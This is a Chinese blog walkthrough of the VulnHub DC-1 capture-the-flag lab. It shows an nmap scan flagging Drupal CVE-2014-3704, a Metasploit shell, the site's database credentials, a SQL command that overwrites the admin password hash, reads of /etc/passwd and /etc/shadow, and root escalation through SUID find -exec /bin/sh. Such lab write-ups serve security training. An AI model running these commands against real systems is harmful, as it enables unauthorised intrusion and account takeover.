前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulnhub-DC:1 - Flag夺取记

vulnhub-DC:1 - Flag夺取记

作者头像
重生信息安全
发布2020-03-06 17:09:49
6240
发布2020-03-06 17:09:49
举报
文章被收录于专栏:重生信息安全重生信息安全

下载地址https://download.vulnhub.com/dc/DC-1.zip

代码语言:javascript
复制
map -A -T4 10.10.10.132 --script=vuln
代码语言:javascript
复制
代码语言:javascript
复制
Nmap scan report for 10.10.10.132                                                                                                                                                                                 
Host is up (0.00034s latency).                                                                                                                                                                                    
Not shown: 997 closed ports                                                                                                                                                                                       
PORT    STATE SERVICE VERSION                                                                                                                                                                                     
22/tcp  open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)                                                                                                                                                
|_clamav-exec: ERROR: Script execution failed (use -d to debug)                                                                                                                                                   
80/tcp  open  http    Apache httpd 2.2.22 ((Debian))                                                                                                                                                              
|_clamav-exec: ERROR: Script execution failed (use -d to debug)                                                                                                                                                   
| http-csrf:                                                                                                                                                                                                      
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.132                                                                                                                                      
|   Found the following possible CSRF vulnerabilities:                                                                                                                                                            
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/                                                                                                                                                                               
|     Form id: user-login-form                                                                                                                                                                                    
|     Form action: /node?destination=node                                                                                                                                                                         
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/user/register                                                                                                                                                                  
|     Form id: user-register-form                                                                                                                                                                                 
|     Form action: /user/register                                                                                                                                                                                 
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/node?destination=node                                                                                                                                                          
|     Form id: user-login-form                                                                                                                                                                                    
|     Form action: /node?destination=node                                                                                                                                                                         
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/user/password                                                                                                                                                                  
|     Form id: user-pass                                                                                                                                                                                          
|     Form action: /user/password                                                                                                                                                                                 
|                                                                                                                                                                                                                 
|     Path: http://10.10.10.132:80/user
|     Form id: user-login
|     Form action: /user
|     
|     Path: http://10.10.10.132:80/user/
|     Form id: user-login
|_    Form action: /user/
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /rss.xml: RSS or Atom feed
|   /robots.txt: Robots file
|   /UPGRADE.txt: Drupal file
|   /INSTALL.txt: Drupal file
|   /INSTALL.mysql.txt: Drupal file
|   /INSTALL.pgsql.txt: Drupal file
|   /: Drupal version 7 
|   /README: Interesting, a readme.
|   /README.txt: Interesting, a readme.
|   /0/: Potentially interesting folder
|_  /user/: Potentially interesting folder
|_http-server-header: Apache/2.2.22 (Debian)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2014-3704: 
|   VULNERABLE:
|   Drupal - pre Auth SQL Injection Vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-3704
|         The expandArguments function in the database abstraction API in
|         Drupal core 7.x before 7.32 does not properly construct prepared
|         statements, which allows remote attackers to conduct SQL injection
|         attacks via an array containing crafted keys.
|           
|     Disclosure date: 2014-10-15
|     References:
|       https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
|       http://www.securityfocus.com/bid/70595
|       https://www.drupal.org/SA-CORE-2014-005
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
111/tcp open  rpcbind 2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          36912/udp   status
|   100024  1          37215/tcp6  status
|   100024  1          52947/udp6  status
|_  100024  1          54937/tcp   status
MAC Address: 00:0C:29:3D:43:A8 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 10.10.10.132

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 530.45 seconds

通过返回结果看到存在CVE2014-3704

seachsploit搜索 -m参数可以把exp保存到当前位置

接着在msf上搜

漏洞利用getshell

代码语言:javascript
复制
切换shell
cat flag1.txt
Every good CMS needs a config file - and so do you.

发现flag1

寻找drupal配置文件

drupal数据库配置文件默认在

/sites/default/settings.php

发现flag2

代码语言:javascript
复制
cat settings.php
<?php

/**
 *
 * flag2
 * Brute force and dictionary attacks aren't the
 * only ways to gain access (and you WILL need access).
 * What can you do with these credentials?
 *
 */

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

使用python获取交互shell查看当前权限

代码语言:javascript
复制
python -c '__import__("pty").spawn("/bin/bash")'
代码语言:javascript
复制

可以看到是www权限

通过查看数据库

发现密码hash加盐,破解难度比较大,可以通过更新密码,或者利用其他方法

利用

代码语言:javascript
复制
update users set pass=‘$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4’ where name=‘admin';
代码语言:javascript
复制
代码语言:javascript
复制
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4' where name='admin';

然后用password登陆

之前通过seachsploit发现有个可以添加一个管理权限的脚本

把此脚本复制到当前目录下

也可以登录到管理员

可直接添加有admin权限的账户

拿到第3个flag

查看提示

代码语言:javascript
复制
whoami
uname -a
cat /etc/passwd
cat /etc/shadow

发现flag4在home目录下

他让你使用root访问

接下来提权

通过flag3获取到提示的使用find -exec

搜索suid权限的程序

代码语言:javascript
复制
find / -user root -perm -4000 -print 2>/dev/null
find / -type f -perm -u=s 2>/dev/null

发现使用find有root权限

然后用find … - exec “…” 查找文件后并执行命令

代码语言:javascript
复制
find ./ -exec "whoami" \;
find ./ -exec "/bin/sh" \;

成功提到root权限

成功拿到第五个flag
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 重生信息安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档